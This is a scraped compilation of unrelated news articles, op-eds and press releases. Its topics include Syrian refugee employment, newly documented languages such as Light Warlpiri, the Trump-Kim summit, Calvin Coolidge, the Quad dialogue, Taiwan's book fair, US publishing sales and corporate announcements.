shortly after saying "I do," but the pregnancy apparently brought them closer together.Find a great selection of commercial real estate, manufactured homes, timeshares and more for Sale

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Nearby Homesite, LotWhile interviewing Syrian refugees last year in Turkey, Jordan and Lebanon, we heard versions of the same story over and over. Many refugees were unable to find work in their chosen fields. They were forced to reinvent themselves as workers as they struggled to survive.

As the civil war in Syria continues into its eighth year, the needs of the more than 6 million Syrian refugees hosted by neighboring countries have outgrown humanitarian aid. Refugees working to support their families desire the dignity of self-sufficiency. Yet our RAND Corporation study of labor markets and Syrian refugees in these countries found that many refugees were not able to fully use their skills -- a lost opportunity both for the Syrians and their host countries.

Our survey found that Syrians in all three countries were finding ways to get by. Most men were working, as were many women between the ages of 18 and 55, but not in the occupations in which they had education, training and experience.

Only about a third of Syrians in Turkey and Jordan held the same occupations they had in Syria. A firefighter was working as a tailor, a chemist as a mechanic, and an IT specialist was doing odd jobs. Even in Lebanon, where over half of the Syrians worked in the same field as they had in their home country, many respondents echoed the sentiment of a Syrian man in the Bekaa Valley: When we find a job, we take it, even if [it is] not our profession. We need the money, so we will take any jobs in order to survive.

Many more Syrians were performing unskilled manual labor in their host countries than had done so in Syria. And far fewer survey respondents were self-employed or business owners as they had been in Syria.

Overall, our findings suggest that a substantial share of Syrians have skills that are not being fully utilized in their host countries. This lost opportunity is particularly striking, given that interviews and surveys suggested that firms in these countries often struggle to fill semi-skilled and highly skilled positions, especially in second-tier cities.

The prevalence of Syrians in unskilled work does, to some extent, reflect the education levels of the Syrian refugees in these particular host countries. Fewer than half the refugees in Turkey, and only one-third in Lebanon, had more than a primary education. In Jordan, education levels were slightly higher: Two-thirds of the refugees had an intermediate education or above, and most were in semi-skilled jobs.

A number of steps could be taken to rectify this situation and to help the refugees and their host countries. Easing legal restrictions on occupations and sectors in which Syrians are allowed to work could help Syrians put their skills to work while filling openings in host-country firms. So too could allowing and incentivizing Syrians to move if they find jobs outside of the region where they are registered. This would be especially beneficial if the jobs are in locations that do not already have large numbers of refugees, and where the unmet demand for semi-skilled workers is high.

A well-designed job training and matching program  one conducted in partnership with an industry association, and targeting Syrians as well as host-country workers  could provide job opportunities for all. And making it easier to finance and legally start a business could not only provide current job opportunities for Syrians, but also allow them to create jobs in the host country.

Taking advantage of the skills Syrians brought with them has the potential to increase economic opportunities for host-country workers and firms -- even as it improves the lives of Syrian families.

Shanthi Nataraj is a senior economist and Louay Constant is a senior policy researcher at the nonprofit, nonpartisan RAND Corporation. The views expressed are the authors' own.In the desert town of Lajamanu, Australia, at the bend of a narrow dirt road, Carmel OShannessy worked at a school as a teacher-linguist in the early 2000s. Lajamanus Indigenous Warlpiri people, who live in the countrys Northern Territory, were skilled at drawing sustenance from the landscapes parched red soil, and OShannessy soon discovered hidden cultural riches the Warlpiri had stored up.

As she got to know the children in the community, OShannessy noticed they had a different way of expressing themselves than their elders. People in Lajamanu generally spoke English, Warlpiri (an established local Aboriginal tongue), and some Kriol (a blend of English and Aboriginal languages). But OShannessy, who speaks both English and Warlpiri, grew convinced that the kids joking in the schoolyard were communicating in an unusual way. When I listened more closely to how the children were speaking, they seemed to be using two languages in every sentence, remembers OShannessy, now a lecturer at the Australian National University in Canberra. I thought, This is really interesting. This is something worth investigating.

As OShannessy recorded conversations and took notes, she realized that the childrens speech was distinct from anything shed heard before. She created a storybook in pictures about a dog that escapes from a monster, then asked the kids to describe what was happening in the story. That exercise helped her confirm a few key features of their language. The children were using sentence structures from Warlpiri, but the verbs came from Kriol. The nouns, meanwhile, came from English, Warlpiri, and Kriol.

Speakers mixed in some completely new rules as well, like using the suffix -m to refer to past and present events but not future ones. That custom was not present in any earlier languages, OShannessy says. That really consolidated that this is a new [language] system all by itself.

The media hailed OShannessy for highlighting a newly discovered language, called Light Warlpiri. And that discovery is not an isolated incident. Within the past decade or so, linguists and anthropologists around the world have described a handful of recently recognized tongues for the first time, including Jedek in Malaysia, Koro Aka in northern India, and Zialo in Guinea.

Understanding how languages emerge and survive holds great interest for researchers, since many languages are slipping away in increasing numbers around the world. The United Nations Educational, Scientific, and Cultural Organization (UNESCO) states that more than 40 percent of the worlds estimated 6,000 languages are endangered. But each new language debut or discovery represents a bright spot against the global backdrop of widespread language die-offs. Tongues like Light Warlpiri, Jedek, and Koro Aka fill gaps in our knowledge of how languages arise and endure, revealing some of the factors that can help keep rare languages alive.

Uncommon languages are better equipped to survive, researchers are learning, when young people are actively speaking them, whether in a family setting, in a school system, or in immersion programs. Elders who transmit cultural traditions to young people through a language can help it to thrive as well. But when the number of speakers drops from year to yearsometimes due to outside forces such as globalization that are difficult to controlrare languages may vanish, whether theyve lingered for centuries or popped up seemingly overnight.

In some ways, the origin story of any language mirrors the broader story of how language evolved in the first place. Within close-knit groups of humans, whether on the savanna or in bustling towns, two factors have been present since ancient times: the need to communicate clearly and specifically, and the cognitive capacity to develop language systems that satisfy that need.

Relatively young languages, however, such as Light Warlpiri, are distinct in that they typically emerge out of the swirl of other, older languages that surround them. These new languages often arise in settings where there is some degree of cultural blending or displacementand Light Warlpiri certainly fits that description. After British settlers arrived in northern Australia in the 1800s, Indigenous Australians began to speak English and Kriol.

In this fluid setting, Indigenous people became very comfortable switching between languages, a practice that helped drive Light Warlpiris emergence in the 1970s and 80s. When adults spoke to children, OShannessy says, they would speak in Warlpiri, but insert verbs and pronouns from English and Kriol. So the children internalized that system as if it was a single system.

A similar melding prompted the rise of a language known as Jedek on the Malaysian peninsula, where many languages are spoken in a limited geographic area. Linguists from Swedens Lund University first stumbled across Jedek in the early 2000s while studying a variety of other languages spoken on the peninsula. Jedek bears some resemblance to Jahai, a language commonly spoken nearby, and is akin to other Malaysian languages heard somewhat farther away. But it is also its own separate entity, with distinct grammatical structures and r sounds that Jahai does not possess. In late 2017, the Swedish researchers published their first paper confirming that Jedek is a totally distinct language.

The village where Jedek is spoken places a high value on cooperation and exchange. As such, the language includes many words that describe sharing and few that describe individual ownership.

Creating a full-blown new language often cements a kinship felt among its speakerswhether that kinship is rooted in religion, common social practices, or ancestral ties. Usually, OShannessy says, speakers of a fledgling language draw on older word forms and start to incorporate patterns they hear, or they might make small changes to a language pattern that already exists. And then, because theyre all speaking to each other, that new pattern stays.

Some newly discovered languages, meanwhile, have very old roots. Linguist David Harrison, of Swarthmore College, and his research team, supported by the National Geographic Society, happened upon Koro Aka about 10 years ago in a remote region of northern India where dozens of Indigenous languages are spoken. Although Harrison is not sure exactly when Koro Aka originated, he thinks it may have existed for centuries.

In the northern Indian region where Koro Aka arose, people share a common identity, living in bamboo homes on stilts, growing rice, and raising livestock. But all of Koro Akas speakersabout 1,000 peoplealready speak another language called Hruso Aka. That has researchers wondering why a community went on to develop a new language, especially since Koro Aka speakers identify culturally with people who only speak Hruso Aka.

The Koro Aka population is subsumed within a larger population of Hruso speakers, Harrison says. Thats the usual scenario where people would switch over to the majority language. Whats more, Koro Aka does not resemble the languages spoken in closely surrounding villages; it is as different from them, Harrison says, as English is from Japanese. But Harrison thinks Koro Aka may have linguistic predecessors that have not yet been uncovered, so he and his colleagues are tracing ever-expanding circles around the Koro Aka community to gather clues about the languages true roots.

Parallel quests to understand what nurtures new languages and what sustains existing ones have led social scientists to one key answer: Languages often survive when young people are speaking them on a regular basis. This language transfer can be actively encouraged, as in immersion schools in Native American communities, or it can simply occur naturally.

OShannessy is optimistic about Light Warlpiris future for this reason. Even though only a few hundred people know the language, nearly all of the youth in the community are absorbing it and speaking it frequently.

In general, fostering language vitality is one of anthropologist Gwyneira Isaacs goals as director of the Smithsonian Institutions Recovering Voices program. Though Isaac does not work specifically with emerging languages, she witnessed how cultural practices can help revive language after meeting a Canadian man who spoke the endangered Anishinaabe language. The man found some of his tribes maple syrupmaking tools in a cabinet at the Smithsonian and was so excited that when he returned home, he produced a series of videos about syrup-making using phrases from his native tongue.

Young people in his community hear the language when they watch the videos, but they also encounter aspects of their cultural heritage. This small thing of opening a cabinet turned into this journey, Isaac says, building the collective knowledge which is really at the base of language.

When young people no longer speak a language, however, its prospects for survival may dwindle. Traditional societies around the world have suffered repeated traumas related to displacement, as, for example, when the U.S. government pushed Native American people onto reservations and forced their children to attend Western schools between the late 19th and late 20th centuries. Indigenous peoples in Canada and Australia received similar treatment. These policies disrupt generational links and may lead to the death of established languages. Dominant languages like English, introduced from outside, can also threaten the survival of less common languages over time.

And sadly, just because the linguistic community has only recently identified a language does not mean its invulnerable. Recently identified languages can disappear just as easily as those recognized for decades. Koro Aka, for instance, may already be at risk of slipping away, since there are few Koro Aka speakers under the age of 20. A process of language shift is underway, Harrison says. Younger generations are using it only sporadically. Its definitely in decline. Even so, he reports, a small group of young Koro Aka speakers is putting up a valiant fight to save the language. Some even appeared on the National Mall in Washington, D.C., recently to share the Koro Aka language and culture with visitors around the world.

The youthful Koro Aka speakers on the mall may have grasped something many of us do not: the rewards of keeping a rare language alive even if a more common tongue would suffice. Languages supply the very framework on which our thoughts coalescea framework that is completely distinct in each language and gives rise to distinctive modes of thinking and expression.

Over time, the structure of each newly discovered language grows to support a communitys history, folklore, and scientific innovationsa world unto itself that may be threatened if the language disappears. People dont fully appreciate the vast body of knowledge contained within any language, Harrison says. What does Koro Aka have to say that we never knew? These languages have a contribution to make.

Elizabeth Svoboda is a journalist and author of What Makes a Hero?: The Surprising Science of Selflessness.

This work first appeared on SAPIENS under a CC BY-ND 4.0 license. Read the original here.WASHINGTON -- The showy first summit between President Trump and North Korean leader Kim Jong Un last June was draped in flags and bunting, but the decoration covered what turned out to be a mostly empty box that lacked a shared agreement on denuclearization.

Given this disappointing record, what's realistically possible when the two leaders meet again in two weeks in Vietnam?

"Diplomacy is letting someone else have your way," as the late Canadian Prime Minister Lester Pearson once observed. But that adage applies to Kim as much as Trump. The best outcome may simply be a roadmap that, by opening pathways and marking obstructions, makes both sides safer during a decade-long process toward the U.S. goal of "final, fully verified denuclearization."

In the run-up to the Hanoi summit, some pragmatic ideas are being floated by experts in and out of the Trump administration. The premise of these discussions is that denuclearization won't be a sudden stand-down but a phased process that, if it's successful, will create its own momentum and ever-increasing security.

The baseline for U.S. officials is a recognition that, as Director of National Intelligence Dan Coats put it in congressional testimony last month: "North Korea is unlikely to give up all of its nuclear weapons and production capabilities, even as it seeks to negotiate partial denuclearization steps to obtain key U.S. and international concessions."

Trump tried to put the best face on this stark assessment afterward, tweeting: "North Korea relationship is best it has ever been with U.S. No testing, getting remains, hostages returned. Decent chance of Denuclearization." All true, except for the last bit, which remains fuzzy, at best.

Stephen Biegun, Trump's special envoy for North Korea, offered a frank account in a Jan. 31 speech at Stanford University. "North Korea has given us little indication that they have yet made the decision to completely dismantle and destroy that [nuclear] capability. We all know that." The challenge, he said, is to "change the trajectory of their policies by changing the trajectory of our own."

Biegun has been collecting ideas from experts from Stanford and the Carnegie Endowment for International Peace. It's not clear what, if anything, has emerged from these conversations, but papers prepared by the two groups illustrate some of the background issues for the Hanoi meeting.

The Carnegie group, led by George Perkovich, Ariel Levite and Toby Dalton, has focused on the importance of comprehensive, verifiable caps on North Korea's nuclear arsenal, during the long process toward denuclearization. In gathering information for their recommendations, they've held meetings with Chinese and other international experts.

The Carnegie team has explored how limits on North Korea's nuclear and missile program might be verified, given the lack of modern infrastructure in that country and its poor record-keeping. The answer, they argue, is "probabilistic verification," which may not measure every item in the stockpile but can give a reliable overall assessment of whether Pyongyang is complying.

The Stanford team, headed by Siegfried Hecker, Robert Carlin and Elliot Serbin, stresses specific, observable measures of whether the North Korean threat is receding. They argue that "2018 [marked] a halt and some rollback," after Kim stopped nuclear and missile testing and closed a nuclear test site. And they provide benchmarks to assess whether future diplomacy is sustaining this progress.

"North Korea will not give up its weapons and its weapons program until its security can be assured," argue the Stanford experts. "Such assurance cannot be achieved simply by an American promise or an agreement on paper, it will require a substantial period of co-existence and interdependence ... that may stretch to 10 years."

The Stanford team argues that as a sweetener (and also to employ North Korean scientists and boost verification), Pyongyang should be allowed to retain a civilian nuclear program and a peaceful space program.

Trump will undoubtedly crank up the hype machine at the Hanoi summit, so experts should analyze carefully the details of whatever agreement emerges -- and on whether that accord continues the reduction of the North Korean military threat that began last year.

The bedrock of this diplomatic opening is so basic that people often overlook it. But read carefully what Biegun said at Stanford:

"President Trump is ready to end this war. It is over. It is done. We are not going to invade North Korea. We are not seeking to topple the North Korean regime. ... We are ready for a different future. It's bigger than denuclearization, while it stands on the foundation of denuclearization."

Trump's summitry with Kim is partly hot air. But there's something real and fundamental here, too, which could make the world safer.

(c) 2019, Washington Post Writers GroupCalvin Coolidge is one of the most understudied Presidents in American history. He stepped in when President Warren G. Harding died unexpectedly in San Francisco, and then ran for the presidency himself in 1924, winning after taking every non-Southern state except for Wisconsin (which was home to the upstart Progressive Partys candidate, Robert LaFollette). President Coolidge was a conservative Republican from New England.

Silent Cals demeanor might also contribute to his lack of attention in American history textbooks. Nobody wants to write about a scandal-exempt presidency or a peace-time executive or a boom-and-bust-free economy. Historians, especially the left-wing historians who dominate the American academy today, would prefer to focus on big issues that paint their heroes and villains in a light that fits their worldview. Silent Cal does none of those things, yet he was an immensely popular president (and state governor, of Massachusetts from 1918-20). Coolidges conservatism has also been misunderstood or misrepresented in history textbooks. His opposition to much of the progressive legislation that landed on his desk (only to be promptly vetoed) had more to do with his conception of the American federal system than with small government ideology.

Indeed, as governor of Massachusetts Coolidge supported child labor legislation, worker representation on corporate boards, wage hikes, and government safety regulations, all policies that he vetoed as president. To Coolidge, this type of legislation was consistent with the nature of state and local governance, but not that of the federal government, which is, under the constitution, to be restricted to a few specific policies.

President Coolidge was not suspicious of technology or innovation, either. On Feb. 12, 1924, Coolidge gave the first radio speech in American history to be considered political in nature, a short speech announcing his intention to run a presidential election campaign. This followed a Dec. 6, 1923 speech given to Congress and foreshadowed a president who became quite at home with using the radio as a medium to communicate with the American people. On March 5, 1925, Coolidges second inauguration was the first in history to be broadcast over the radio.

Franklin Roosevelt gets more credit from historians for being the early 20th centurys most prodigious user of mass communication technologies (at least in the United States), but Silent Cal, in his own way, could give FDR and his fireside chats a run for his money. If FDR perfected the art of mass communication through the medium of radio, then Coolidge - the man labeled Silent Cal by Washington socialites - popularized it.

The radio changed the way Americans lived and died, and its advent marked a monumental shift in not only American history but world history as well. Were historians to give Coolidge a fair shake, they would see, too, that his conservative, small government principles also changed the way Americans lived and died.Raoul Wallenberg was the diplomat who would appear like a phantom in Budapest, handing out the Swedish passports that saved some 15,000 Hungarian Jews from being murdered by the Nazis. But Wallenberg had no such help himself on January 17, 1945, when he was taken into custody by the Soviet forces that had liberated Budapest. The Swedish diplomat was never heard from again, and Moscow would later report that Wallenberg had died in Lubyanka Prison in 1947.

But in the 63 years since his arrest, the Wallenberg family and generations of researchers have relentlessly pursued the possibility that the Swedish diplomat survived long after 1947, as a secret prisoner in the Soviet gulag system. "There are plenty of indications that he may have survived past 1947, and these deserve thorough examination," says Susanne Berger, a German-born researcher who has spent 15 years exploring Wallenberg's fate.

Skeptics ask what motive the Soviets might have had for imprisoning Wallenberg, and for lying about his fate for decades after. Scholars exploring Wallenberg's relationship with the intelligence agencies battling each other in wartime and postwar Hungary, however, suggest that Moscow may have perceived the Swede as a spy for the West.Since 2013, the Heritage Foundation, together with ASPI and think tanks in India (Vivikananda International Foundation) and Japan (first the Tokyo Foundation, and now the Japan Institute of International Affairs), has hosted a discussion called the Quad-Plus Dialogue. The 2019 iteration starts next week in Sydney.

The idea of a quadrilateral dialogue, of course, was not the brainchild of the Heritage Foundation or our partners. In fact, anyone familiar with it knows that it originated in Japan, during Shinzo Abes first stint as prime minister.

What Heritage and its partners did do was revive the idea and keep the conversation going until our governments signed back up. Throughout that effort, those of us from Heritage (I cant speak for the other organisations) were guided by several key principles. Now that the Quad has been revived at an official level, it bears laying those out to help give shape to the way forward.

First, the forum would mostly be about China. We have never pretended otherwise. We werent insensitive to Chinese concerns with the concept of an official Quad. At some level, its understandable. No government wants to be the subject of a multinational discussion. Still, the impact of Chinas rise to global power is something that must be acknowledged directly. Dissimulating would dilute focus in our home capitals, and not only not fool the Chinese but breed greater distrust.

Second, additional partnerswhat we called plus countriescould provide critical perspective. At first blush, bringing other organisations or governments into Quad discussions may look like the expansion of an anti-China coalition. Its true that including others allows us to explore for synergies in approaches to China, on maritime security, for example. More importantly, however, non-Quad countries serve as sounding boards. Their relationships with China will be affected by what the Quad does, as will their operating environments in the diplomatic, security, economic and other domains. They should be heard, not only because they deserve to be, but because they have valuable, unique insights.

Third, we recognised that all four Quad countries and the plus partners have productive relationships with Chinaespecially on the economic side of the ledger. Some of them have acute conflicting interests, such as over Indias land border and the ChinaPakistan relationship, Chinas claims in the East and South China seas, and the standing threat to Taiwan. But those conflicts arent the sum total of their relationships. Reflecting this reality, we never characterised the effort as anything resembling containmentwhich we calculated would be a perfect way to kill it, through irrelevance.

Fourth, coordination among the Quad countries shouldnt be about economics. Theres sometimes a fine line between economics and security. Should the Quad coordinate on investment screening or technology development, for instance? Absolutely. But it cant be about gaining market advantage vis-a-vis China. It should be strictly about minimising direct security risks. Neither is the Quad about shaping national economies, creating trading blocs or establishing exclusive supply chains. Such antidotes would only make worse the sicknesses caused by Chinas market distortions.

Fifth, values matter. Its no accident that the Quad countries are liberal democracies. Likewise, all of our plus partners enjoy liberal political freedoms at home and support an interstate liberal order abroad. The former has mostly been implicit in our discussion. The way countries govern at home affects the way they interact with the world. Discussions of how to best craft the institutions of interstate order have been much more explicit.

Not everyones going to like this formulation of the Quad, especially those partial to the clean lines of global geopolitics. But the truth is that the political systems of the Quad countries, those of the plus partners and Chinas own are much too complex for that. Each country involved has conflicting internal interests, not to mention conflicting interests with one another. Of course, the Quad-plus countries share many interests, too, and not only those related to China. They come together for the express purpose of coordinating those overlapping interests.

The most important thing that unites the Quad countries, however, is an awareness that managing the rise of China is the defining challenge of our era. They know that getting it wrong will make the difference between war and peace, security and insecurity, prosperity and want, and freedom and oppression. This is what has brought our think tanks together for going on six years, and it should continue bringing our governments together long into the future.In January, the Defense Intelligence Agency (DIA) released its unclassified assessment of China's military capabilities, with the telling subtitle: Modernizing a Force to Fight and Win. As DIA director Lt. Gen. Robert Ashley explained: China is building a robust, lethal force with capabilities spanning the air, maritime, space and information domains which will enable China to impose its will in the region. He went on to emphasize: the PLA [People's Liberation Army] is on the verge of fielding some of the most modern weapons systems in the world. In some areas, it already leads the world.USA: A scaling back of the high speed rail project in California was announced by Governor Gavin Newsom in his first State of the State address on February 12. Newsom said the project as currently planned would cost too much and take too long, and added that there had been ...FRANCE: A report into the condition, usage and prospects of almost 9 000 route-km of secondary railway is to be handed to government before the end of March. According to Transport Minister Elisabeth Borne, the report will form part of a battle plan to save a broad swathe of the ...The six-day Taipei International Book Exhibition (TIBE) kicked off on February 12 with participation from 735 publishing houses and a roster of more than 1,000 events to promote reading and book-related activities.

The theme, Time for Reading, is about getting people to read any time, anywhere. As James Chao, chairman of the Taipei International Book Exhibition (and of China Times Publishing), pointed out during the opening ceremony, when people say they do no have time to read a book, it is no longer just a problem for publishers or booksellers. It becomes a societal issue. So TIBE in recent years has evolved to become less about selling and more about promoting reading. It is about getting publishers and booksellers together to find ways to collaborate and create lifelong readers, Chao added.

Germany returns as the guest of honor for a second time at TIBE; the first was in 1998. The 414-square-meter open-concept German Stories pavilion, co-organized by Frankfurt Buchmesse and Goethe-Institut Taipei, seeks to facilitate one-to-one interaction between visiting German authors/publishers and TIBE visitors,said Jurgen Boos, CEO and director of Frankfurt Buchmesse, who travelled to Taipei with 13 authors, including Axel Scheffler (The Gruffalo), Ferdinand von Schirach (The Collini Case), and Sebastian Fitzek (The Nightwalker). We are looking to forge closer German-Taiwanese relations, one that was started by Taiwanese students who went to Germany to further their studies back in 1970s, and later by former Buchmesse director Peter Wiedhaas through his friendships with many Taiwanese publishers. Last year, German publishers sold 107 titles to Taiwan.

Overall, the Taiwan book market has stabilized in recent years. This came after its total book sales declined 46%, from $1.14 billion to $617.9 million, between 2012 and 2015.

Childrens book segment remains the brightest spot with publishers from different backgrounds jumping onto the bandwagon, said Sing-ju Chang, CEO of Hsin-Yi Foundation, which set up Taiwans first publishing house dedicated to picture books and learning materials for young children back in 1971.

The adult book market , however, is in the doldrums, according to Jerome Su, managing director of B.K. Norton, an agent for major American houses and university presses. But the childrens book segment has continued to grow and so have English-language teaching titles. Fifty years ago, Taiwanese parents and teachers wanted sentence- and vocabulary-based materials to help their children and students to obtain high scores in exams. Today, together with changes in education policy, new methods in learning English and courses in STEM and STEAM are gaining popularity. Su, who publishes childrens and language learning titles under the Bookman imprint, has sold more than 1,000 copies of the bilingual English-Chinese Macmillan English Dictionary within the first month of its launch. Other translated titles, especially the Highlights series and Scholastic titles, continue to do very well.

Novels, said Rex How, owner and publisher of Locus Publishing, are not getting much attention unlike five or six years ago. Local works are becoming more popular while more comics and picture books are going international, he said. One of Hows biggest exports is Jimmy Liao, Taiwans renowned author-illustrator, whose booksincluding The Sound of Colors, The Blue Stone, and When the Moon Forgothave been translated by more than 176 overseas publishers. Taiwan-specific works are also getting noticed overseas, added How, who was surprised when one of his graphic novels about local events (Sean Chungs 80s Diary in Taiwan) was bought by French, German, and Italian publishers. It debunked what I thought would workand be acceptablein overseas markets.

Taiwan, with 23.5 million people, has a vibrant publishing industry with 4,987 publishers producing 40,401 new titles in 2017, of which 9,716 were translations. In the first six months of 2018, out of the 17,171 new titles, 35% was literature and fiction while 11% were childrens books and YA titles. Last year, the biggest seller at Eslite, Taiwans biggest chain bookstore, was Dan Browns Origin while over at online powerhouse books.com.tw, David Chos New TOIEC Vocabulary ruled the chart.Gains in the trade and religion segments were offset by declines in the other publishing categories, leading to a small (0.4%) decline in industry sales in 2018, according to the Association of American Publishers StatShot program. Total revenue for the 1,375 reporting publishers was $14.55 billion in 2018, down $57 million from 2017. Later this year, AAP will release final figures that include sales estimates from publishers that do not report to the association.

According to the StatShot data, the adult trade category had the largest gain in the year, with sales from reporting publishers up 5.1% over 2017, to $5.13 billion. Sales of religious books rose 4.5% in the year and sales in the childrens/young adult category increased 3.3% in the year, to $2.11 billion.

The two major educational publishing segmentshigher education course materials and pre-K12 instructional materialshad revenue declines of 7.2% and 4.6%, respectively. Sales of professional books dropped 2.7% compared to 2017. The small university press segment had the largest revenue decline, with sales down 9.5%, to $50.3 million.

The increase in the trade marketwhich AAP classifies as adult, childrens, and religionwas led by sales of downloadable audio, which rose 37.1%, to $469.3 million, from reporting publishers. Physical audio sales plunged 21.5%, to $45.7 million. Still, the combined audiobook market rose 29% in 2018 over 2017, reaching $515 million from reporting publishers.

In contrast to the growth in digital audio, e-book sales continued to decline in the trade segment last year compared to 2017. E-book trade sales from reporting publishers declined 3.6%, to $1.02 billion.

Print sales in the trade segment were led by hardcovers, where sales rose 6.9% over 2017. Sales of trade paperback and mass market paperback increased 1.1% compared to 2017.Utrecht University Installs Towering Boon Edam Revolving Door at Main Entrance to Sciences Building Once we decided to go with a manual revolving door, there was obviously only one name that stood out - and that was Boon Edam.

Boon Edam Inc., a global leader in security entrances and architectural revolving doors, today announced that Utrecht University in The Netherlands has installed a custom-made, TQM manual revolving door at the entrance to the schools newest addition, the Viktor J. Koningsberger building, dedicated to the faculties of Geosciences, Science and Medicine.

Renowned Rotterdam-based architects, Ectory Hoogstad, were asked to create a building at Utrecht University that would serve as an addition to two other existing buildings: the Minnaert building and the Buys Ballot building. Joost Ector, Director and Project Architect, explains, "All buildings had to be combined into one educational center for the science faculties. We solved that very simply by making a kind of 'loop' on the first floor; a circuit that runs through all the buildings. A new building has been added on the corner, and that is what has become the Koningsberger building. Through the 'walk' all buildings are now connected, and the students can easily walk from one building to another.

Functional and Aesthetic Design

The central themes in the design of this iconic building are lightness, openness and transparency. These properties are reflected in the facade and play an important role at the main entrance. "Of course we want you to be able to enter the cluster of buildings from all sides of the campus easily, says Ector. So the new entrance had to be functional and recognizable, but also belong to the story of the building as a whole. You walk down to the building, make that little turn through the entrance and then you suddenly see that the big atrium going up a hundred times. We just love that!"

Selecting the Entry

When it came to selecting the entrance to the new building addition, Ector said his choice for the revolving door came naturally. Once we decided to go with a manual revolving door, there was obviously only one name that stood out - and that was Boon Edam. We knew that Boon Edam made premium products and was capable of doing what we needed when it comes to these kinds of custom-made solutions. We came to our final solution after close consultation with their experts."

The TQM manual revolving door installed at the Koningsberger building is nine meters (29-1/2 feet) high and is constructed almost entirely of glass. Nine-meter high rotating parts were not desirable, so a different solution was chosen. A special tall, illuminated cylinder was installed above the revolving door for an impressive and recognizable appearance. "Our inspiration were old houses, such as canal houses, explains Ector. There is sometimes a kind of 'lantern' incorporated in the skylight above the front door in these old-fashioned homes. We utilized this in the TQM revolving door. The cylinder was pulled upwards, and an illuminated element was manufactured. This constructed feature can be seen from both the outside and inside and serves as a beacon of light in the evening to help guide and locate the entrance."

For Further Information, Please Contact:

Tracie Thomas, Boon Edam

Vice President of Marketing

T 910 814 8239

E tracie.thomas@boonedam.com

For Media Queries, Please Contact:

Sara Chaput, LRG Marketing

Public Relations

T 845 358 1801

E schaput@lrgmarketing.com

About Royal Boon Edam

We are proud to be a third generation Dutch family business committed to making people feel welcome and secure through our quality engineered entry solutions. Headquartered in the Netherlands, with a footprint spanning the globe, Royal Boon Edam International is a premium manufacturer of revolving doors, high security doors, turnstiles and Speedlanes. A heritage that exceeds 140 years has resulted in wide expertise in managing the safe transit of people through office buildings, healthcare facilities as well as via public and private spaces. We are truly focused on adding genuine value to our customers entrances and to a long-term relationship after sales, service and maintenance. We partner, collaborate and become an extension to the customer team to ensure that the project, people and valuables are in safe hands with us. We are your entry experts. Discover more about our latest news at http://www.boonedam.us/news or follow Boon Edam Inc. on our blog, Facebook, Twitter, and LinkedIn.Stephen Ufford, CEO of Trulioo. Poland is one of the most economically and culturally vibrant places in Europe  its also a strong center of fintech innovation. - Stephen Ufford, CEO and founder of Trulioo.

Trulioo, the leading global identity verification provider, announced today that it has extended its coverage to Poland, one of the fastest growing economies in the EU. Organizations can now use GlobalGateway, Trulioos marketplace of identity data and services, to verify the identity of Polish residents.

Used by organizations around the world to verify five billion people and 250 million business entities, GlobalGateway helps them comply with regulatory requirements such as Know Your Customer (KYC) and Anti-Money Laundering (AML), mitigate risk and prevent fraud.

Were thrilled to announce that we now cover Poland, said Stephen Ufford, CEO and founder of Trulioo. Poland is one of the most economically and culturally vibrant places in Europe  its also a strong center of fintech innovation.

Indeed, Polands banking sector is the largest in the Central and Eastern European regions; its also fertile ground for a fintech revolution. Recently, the Polish government created a regulatory sandbox to allow fintech startups and legacy financial institutions to test out new products and innovations.

A few months ago, Trulioo opened a satellite office in Dublin to bolster its European presence and meet the growing demands of its European customers. Trulioos foray into Europe is part of its larger international plans. Right from its inception, Trulioos mission was to deliver a truly global impact: Verify the entire human population so that everyone, regardless of their circumstances, has access to the advantages and opportunities created by the online, borderless economy.

About Trulioo

Trulioo is a global identity and business verification company that provides secure access to reliable, independent and trusted data sources worldwide to instantly verify consumers and business entities online. Trulioos bank-grade online verification platform, GlobalGateway, helps organizations comply with Anti-Money Laundering (AML) and Customer Due Diligence (CDD) requirements by automating Know Your Customer (KYC) and Know Your Business (KYB) workflows. Trulioo supports clients worldwide to instantly verify five billion customers and 250 million business entities in over 100 countries - all through a single API integration. Named as a CNBC Disruptor 50 Company, Trulioos mission is to solve global problems associated with verifying identities by powering fraud prevention and compliance systems for customers worldwide in an effort to increase trust and safety online. For more information visit trulioo.com.The Software Report is pleased to announce the Top 50 Tech Services CEOs of 2019. An extensive process was run to gather and evaluate nomination submissions from hundreds of executives and professionals in the software and tech services industry. We gathered data on each nominee in the areas of integrity, intelligence, drive, corporate culture, and operational capabilities. We also took into consideration detailed qualitative feedback on each CEOs unique strengths as well as improvement areas.

Topping this years list are Abid Neemuchwala, CEO of Wipro, who oversees $8 billion plus in revenue and more than 160,000 employees serving clients across six continents, Salil Parekh, CEO of Infosys, who has nearly three decades of global IT services experience with a strong track record of driving digital transformation, and Charles Phillips, CEO of Infor, which he built into a global leader in business cloud software with 68,000 customers in 170 countries and over 17,000 employees. Many other notable CEOs earned a spot on this years list, which can be accessed at https://www.thesoftwarereport.com/top-50-tech-services-ceos-of-2019/.

Notably, a handful of CEOs in the emerging growth category stood out for their entrepreneurial capabilities, tenacity and demonstrated leadership skills. They include Arvind Sharma of IT Convergence , Raj Gummadapu of Techwave, Trey Campbell of OneSource Virtual, David DeWolf of 3Pillar Global, Mark Orttung of Nexient, Michael Gold of Intermedia, Brian Cardarella of Dockyard and Scott Kenyon of Applaudo Studios.

About The Software Report

The Software Report is a comprehensive source for market research and insights, business news, investment activity and corporate actions related to the software sector. Based in New York City, the firm is run by a seasoned team of editors, writers and media professionals highly knowledgeable on software and the various companies, executives and investors that make up the sector. http://www.thesoftwarereport.comI know how the media works, what it takes to secure impactful coverage, and the elements necessary for compelling storytelling. Im excited to bring this experience to Team Fleisher, and to work with our clients to secure exceptional earned media and exceed their expectations.

Team Fleisher Communications is proud to announce that Liz Lane, veteran media professional, has joined its staff. Lane has worked in television across Ohio for more than three decades, reporting, producing, and managing daily news coverage. Over the expanse of her 30-year television career, she has earned five Emmys, numerous Associated Press awards, and three regional Edward R. Murrow Awards.

I was fortunate to first work with Liz at WBNS-TV in Columbus when I was a reporter there, said Marcy Fleisher, founder of Team Fleisher Communications. It was early in our careers, but even then, I was impressed by Lizs knowledge, understanding and ability to make things happen. Ive been waiting to bring Liz on for a long time in order to share that unique skill set with our clients.

